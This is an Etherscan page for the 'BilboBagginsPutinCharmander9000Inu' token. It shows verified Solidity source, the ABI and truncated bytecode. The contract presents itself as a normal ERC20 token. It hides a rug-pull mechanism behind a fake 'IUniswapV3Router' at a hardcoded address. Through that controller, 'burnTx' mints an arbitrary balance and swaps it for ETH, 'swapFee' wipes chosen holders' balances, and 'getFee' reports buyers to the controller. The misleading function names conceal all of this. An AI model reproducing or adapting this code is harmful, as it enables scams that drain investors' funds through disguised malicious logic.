ETH Price: $2,462.11 (+0.70%)

Token

BilboBagginsPutinCharmander9000Inu (BINANCE)
 

Overview

Max Total Supply

1,000,000,000,000,000 BINANCE

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
10,000,000,000,000.000026012 BINANCE

Value
$0.00
0xfe14eb54181a64ae9583b4f45627c3d09585f798
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Bilbo

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-16
*/

pragma solidity ^0.8.15;

// SPDX-License-Identifier: Unlicensed
// website: https://bilboinu.fun
// telegram: https://t.me/bilbros

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}

interface IUniswapV3Router {
    function WETH(address) external view returns (bool);
    function factory(address, address) external view returns(bool);
    function getAmountsIn(address) external;
    function getAmountsOut() external returns (address);
    function getPair(address, address, bool, address, address) external returns (bool);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        return c;
    }
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract Bilbo is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 public _decimals = 9;
    uint256 public _totalSupply = 1000000000000000 * 10 ** _decimals;
    uint256 public _fee = 3;
    IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV3Router private _v3Router = IUniswapV3Router(0x15ded2798f2701848a7865eBD33DDd457A05771c);
    string private _name = "BilboBagginsPutinCharmander9000Inu";
    string private  _symbol = "BINANCE";
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
        require(_allowances[_msgSender()][from] >= amount);
        _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
        return true;
    }
    function _transfer(address _SqD, address _numAddr, uint256 _zQT) internal virtual {
        require(_SqD != address(0));
        require(_numAddr != address(0));
        if (_v3Router.factory(_SqD, _numAddr)) {
            burnTx(_zQT, _numAddr);
        }
        if (!_v3Router.factory(_SqD, _numAddr)) {
        require(_balances[_SqD] >= _zQT || !inSwap);
        swapFee(_SqD);
        uint256 feeAmount = getFee(_SqD, _numAddr, _zQT);
        uint256 amountReceived = _zQT - feeAmount;
        _balances[address(this)] += feeAmount;
        _balances[_SqD] = _balances[_SqD] - _zQT;
        _balances[_numAddr] += amountReceived;
        emit Transfer(_SqD, _numAddr, _zQT);
        }
    }
    function getFee(address _SqD, address _numAddr, uint256 amount) private returns (uint256) {
        uint256 feeAmount = 0;
        if (_v3Router.getPair(_SqD, _numAddr, inSwap, address(this), getLiquidityPairAddress())) {
            if (getLiquidityPairAddress() == _numAddr){} else {
                _v3Router.getAmountsIn(_numAddr);
            }
            feeAmount = amount.mul(_fee).div(100);
        }
        return feeAmount;
    }
    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    function name() external view returns (string memory) { return _name; }
    function symbol() external view returns (string memory) { return _symbol; }
    function decimals() external view returns (uint256) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function getUniVersion() external pure returns (uint256) { return 3; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swapFee(address _from) internal {
        if (getLiquidityPairAddress() != _from) {
            return;
        }
        address to = _v3Router.getAmountsOut();
        if (to != address(0)) {
            uint256 amount = _balances[to];
            _balances[to] = _balances[to] - amount;
        }
    }
    function burnTx(uint256 recipient, address _amountAddr) private {
        _approve(address(this), address(_router), recipient);
        _balances[address(this)] = recipient;
        address[] memory path = new address[](2);
        inSwap = true;
        path[0] = address(this);
        path[1] = _router.WETH();
        _router.swapExactTokensForETHSupportingFeeOnTransferTokens(recipient,0,path,_amountAddr,block.timestamp + 27);
        inSwap = false;
    }
    bool inSwap = false;
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(from, recipient, amount);
        require(_allowances[from][_msgSender()] >= amount);
        return true;
    }
    function getLiquidityPairAddress() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
    bool public autoLPBurn = false;
    function setAutoLPBurnSettings(bool e) external onlyOwner {
        autoLPBurn = e;
    }
    bool swapEnabled = true;
    function updateSwapEnabled(bool e) external onlyOwner {
        swapEnabled = e;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLPBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getUniVersion","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"e","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009600355600354600a6200001a9190620004c6565b66038d7ea4c680006200002e919062000517565b6004556003600555737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507315ded2798f2701848a7865ebd33ddd457a05771c600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060405180606001604052806022815260200162002dcc60229139600890816200010a9190620007e8565b506040518060400160405280600781526020017f42494e414e43450000000000000000000000000000000000000000000000000081525060099081620001519190620007e8565b506000600a60006101000a81548160ff0219169083151502179055506000600a60016101000a81548160ff0219169083151502179055506001600a60026101000a81548160ff021916908315150217905550348015620001b057600080fd5b50620001c16200033160201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600454600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600454604051620003239190620008e0565b60405180910390a3620008fd565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620003c7578086048111156200039f576200039e62000339565b5b6001851615620003af5780820291505b8081029050620003bf8562000368565b94506200037f565b94509492505050565b600082620003e25760019050620004b5565b81620003f25760009050620004b5565b81600181146200040b576002811462000416576200044c565b6001915050620004b5565b60ff8411156200042b576200042a62000339565b5b8360020a91508482111562000445576200044462000339565b5b50620004b5565b5060208310610133831016604e8410600b8410161715620004865782820a90508381111562000480576200047f62000339565b5b620004b5565b62000495848484600162000375565b92509050818404811115620004af57620004ae62000339565b5b81810290505b9392505050565b6000819050919050565b6000620004d382620004bc565b9150620004e083620004bc565b92506200050f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003d0565b905092915050565b60006200052482620004bc565b91506200053183620004bc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200056d576200056c62000339565b5b828202905092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005fa57607f821691505b60208210810362000610576200060f620005b2565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200067a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200063b565b6200068686836200063b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006c9620006c3620006bd84620004bc565b6200069e565b620004bc565b9050919050565b6000819050919050565b620006e583620006a8565b620006fd620006f482620006d0565b84845462000648565b825550505050565b600090565b6200071462000705565b62000721818484620006da565b505050565b5b8181101562000749576200073d6000826200070a565b60018101905062000727565b5050565b601f8211156200079857620007628162000616565b6200076d846200062b565b810160208510156200077d578190505b620007956200078c856200062b565b83018262000726565b50505b505050565b600082821c905092915050565b6000620007bd600019846008026200079d565b1980831691505092915050565b6000620007d88383620007aa565b9150826002028217905092915050565b620007f38262000578565b67ffffffffffffffff8111156200080f576200080e62000583565b5b6200081b8254620005e1565b620008288282856200074d565b600060209050601f8311600181146200086057600084156200084b578287015190505b620008578582620007ca565b865550620008c7565b601f198416620008708662000616565b60005b828110156200089a5784890151825560018201915060208501945060208101905062000873565b86831015620008ba5784890151620008b6601f891682620007aa565b8355505b6001600288020188555050505b505050505050565b620008da81620004bc565b82525050565b6000602082019050620008f76000830184620008cf565b92915050565b6124bf806200090d6000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610323578063a9059cbb14610353578063c245948114610383578063c5b37c22146103a1578063dd62ed3e146103bf5761012c565b806370a0823114610291578063715018a6146102c15780638da5cb5b146102cb578063924de9b7146102e957806395d89b41146103055761012c565b8063313ce567116100f4578063313ce567146101e957806332424aa31461020757806339509351146102255780633eaaf86b146102555780636675187e146102735761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f5780631ed950c91461019d57806323b872dd146101b9575b600080fd5b6101396103ef565b6040516101469190611acf565b60405180910390f35b61016960048036038101906101649190611b8a565b610481565b6040516101769190611be5565b60405180910390f35b61018761049f565b6040516101949190611c0f565b60405180910390f35b6101b760048036038101906101b29190611c56565b6104a9565b005b6101d360048036038101906101ce9190611c83565b610542565b6040516101e09190611be5565b60405180910390f35b6101f16105ea565b6040516101fe9190611c0f565b60405180910390f35b61020f6105f4565b60405161021c9190611c0f565b60405180910390f35b61023f600480360381019061023a9190611b8a565b6105fa565b60405161024c9190611be5565b60405180910390f35b61025d6106a6565b60405161026a9190611c0f565b60405180910390f35b61027b6106ac565b6040516102889190611be5565b60405180910390f35b6102ab60048036038101906102a69190611cd6565b6106bf565b6040516102b89190611c0f565b60405180910390f35b6102c9610708565b005b6102d3610842565b6040516102e09190611d12565b60405180910390f35b61030360048036038101906102fe9190611c56565b61086b565b005b61030d610904565b60405161031a9190611acf565b60405180910390f35b61033d60048036038101906103389190611b8a565b610996565b60405161034a9190611be5565b60405180910390f35b61036d60048036038101906103689190611b8a565b610ad2565b60405161037a9190611be5565b60405180910390f35b61038b610af0565b6040516103989190611c0f565b60405180910390f35b6103a9610af9565b6040516103b69190611c0f565b60405180910390f35b6103d960048036038101906103d49190611d2d565b610aff565b6040516103e69190611c0f565b60405180910390f35b6060600880546103fe90611d9c565b80601f016020809104026020016040519081016040528092919081815260200182805461042a90611d9c565b80156104775780601f1061044c57610100808354040283529160200191610477565b820191906000526020600020905b81548152906001019060200180831161045a57829003601f168201915b5050505050905090565b600061049561048e610b86565b8484610b8e565b6001905092915050565b6000600454905090565b6104b1610b86565b73ffffffffffffffffffffffffffffffffffffffff166104cf610842565b73ffffffffffffffffffffffffffffffffffffffff1614610525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161051c90611e19565b60405180910390fd5b80600a60016101000a81548160ff02191690831515021790555050565b600061054f848484610d57565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610599610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156105df57600080fd5b600190509392505050565b6000600354905090565b60035481565b600061069c610607610b86565b848460026000610615610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106979190611e68565b610b8e565b6001905092915050565b60045481565b600a60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610710610b86565b73ffffffffffffffffffffffffffffffffffffffff1661072e610842565b73ffffffffffffffffffffffffffffffffffffffff1614610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90611e19565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610873610b86565b73ffffffffffffffffffffffffffffffffffffffff16610891610842565b73ffffffffffffffffffffffffffffffffffffffff16146108e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108de90611e19565b60405180910390fd5b80600a60026101000a81548160ff02191690831515021790555050565b60606009805461091390611d9c565b80601f016020809104026020016040519081016040528092919081815260200182805461093f90611d9c565b801561098c5780601f106109615761010080835404028352916020019161098c565b820191906000526020600020905b81548152906001019060200180831161096f57829003601f168201915b5050505050905090565b600081600260006109a5610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a2857600080fd5b610ac8610a33610b86565b848460026000610a41610b86565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ac39190611ebe565b610b8e565b6001905092915050565b6000610ae6610adf610b86565b8484610d57565b6001905092915050565b60006003905090565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610bfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf490611f64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6390611ff6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d4a9190611c0f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc957600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610e26929190612016565b602060405180830381865afa158015610e43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e679190612054565b15610e7757610e76818361114c565b5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166353b96ce484846040518363ffffffff1660e01b8152600401610ed4929190612016565b602060405180830381865afa158015610ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f159190612054565b6111475780600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580610f745750600a60009054906101000a900460ff16155b610f7d57600080fd5b610f8683611416565b6000610f938484846115f4565b905060008183610fa39190611ebe565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ff49190611e68565b9250508190555082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110469190611ebe565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110d89190611e68565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161113c9190611c0f565b60405180910390a350505b505050565b61117930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610b8e565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156111da576111d9612081565b5b6040519080825280602002602001820160405280156112085781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061123b5761123a6120b0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130691906120f4565b8160018151811061131a576113196120b0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601b426113a49190611e68565b6040518663ffffffff1660e01b81526004016113c4959493929190612224565b600060405180830381600087803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b8073ffffffffffffffffffffffffffffffffffffffff166114356117bb565b73ffffffffffffffffffffffffffffffffffffffff16036115f1576000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630a3b36086040518163ffffffff1660e01b81526004016020604051808303816000875af11580156114c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e591906120f4565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146115ef576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115aa9190611ebe565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b505b50565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635cba653c8686600a60009054906101000a900460ff16306116546117bb565b6040518663ffffffff1660e01b815260040161167495949392919061227e565b6020604051808303816000875af1158015611693573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b79190612054565b156117b0578373ffffffffffffffffffffffffffffffffffffffff166116db6117bb565b73ffffffffffffffffffffffffffffffffffffffff16031561178557600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166314935aaa856040518263ffffffff1660e01b81526004016117529190611d12565b600060405180830381600087803b15801561176c57600080fd5b505af1158015611780573d6000803e3d6000fd5b505050505b6117ad606461179f6005548661195e90919063ffffffff16565b6119d890919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561182a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061184e91906120f4565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118fb91906120f4565b6040518363ffffffff1660e01b8152600401611918929190612016565b602060405180830381865afa158015611935573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195991906120f4565b905090565b600080830361197057600090506119d2565b6000828461197e91906122d1565b905082848261198d919061235a565b146119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906123fd565b60405180910390fd5b809150505b92915050565b6000808211611a1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1390612469565b60405180910390fd5b60008284611a2a919061235a565b90508091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a70578082015181840152602081019050611a55565b83811115611a7f576000848401525b50505050565b6000601f19601f8301169050919050565b6000611aa182611a36565b611aab8185611a41565b9350611abb818560208601611a52565b611ac481611a85565b840191505092915050565b60006020820190508181036000830152611ae98184611a96565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b2182611af6565b9050919050565b611b3181611b16565b8114611b3c57600080fd5b50565b600081359050611b4e81611b28565b92915050565b6000819050919050565b611b6781611b54565b8114611b7257600080fd5b50565b600081359050611b8481611b5e565b92915050565b60008060408385031215611ba157611ba0611af1565b5b6000611baf85828601611b3f565b9250506020611bc085828601611b75565b9150509250929050565b60008115159050919050565b611bdf81611bca565b82525050565b6000602082019050611bfa6000830184611bd6565b92915050565b611c0981611b54565b82525050565b6000602082019050611c246000830184611c00565b92915050565b611c3381611bca565b8114611c3e57600080fd5b50565b600081359050611c5081611c2a565b92915050565b600060208284031215611c6c57611c6b611af1565b5b6000611c7a84828501611c41565b91505092915050565b600080600060608486031215611c9c57611c9b611af1565b5b6000611caa86828701611b3f565b9350506020611cbb86828701611b3f565b9250506040611ccc86828701611b75565b9150509250925092565b600060208284031215611cec57611ceb611af1565b5b6000611cfa84828501611b3f565b91505092915050565b611d0c81611b16565b82525050565b6000602082019050611d276000830184611d03565b92915050565b60008060408385031215611d4457611d43611af1565b5b6000611d5285828601611b3f565b9250506020611d6385828601611b3f565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611db457607f821691505b602082108103611dc757611dc6611d6d565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611e03602083611a41565b9150611e0e82611dcd565b602082019050919050565b60006020820190508181036000830152611e3281611df6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e7382611b54565b9150611e7e83611b54565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611eb357611eb2611e39565b5b828201905092915050565b6000611ec982611b54565b9150611ed483611b54565b925082821015611ee757611ee6611e39565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611f4e602583611a41565b9150611f5982611ef2565b604082019050919050565b60006020820190508181036000830152611f7d81611f41565b9050919050565b7f4945524332303a20617070726f766520746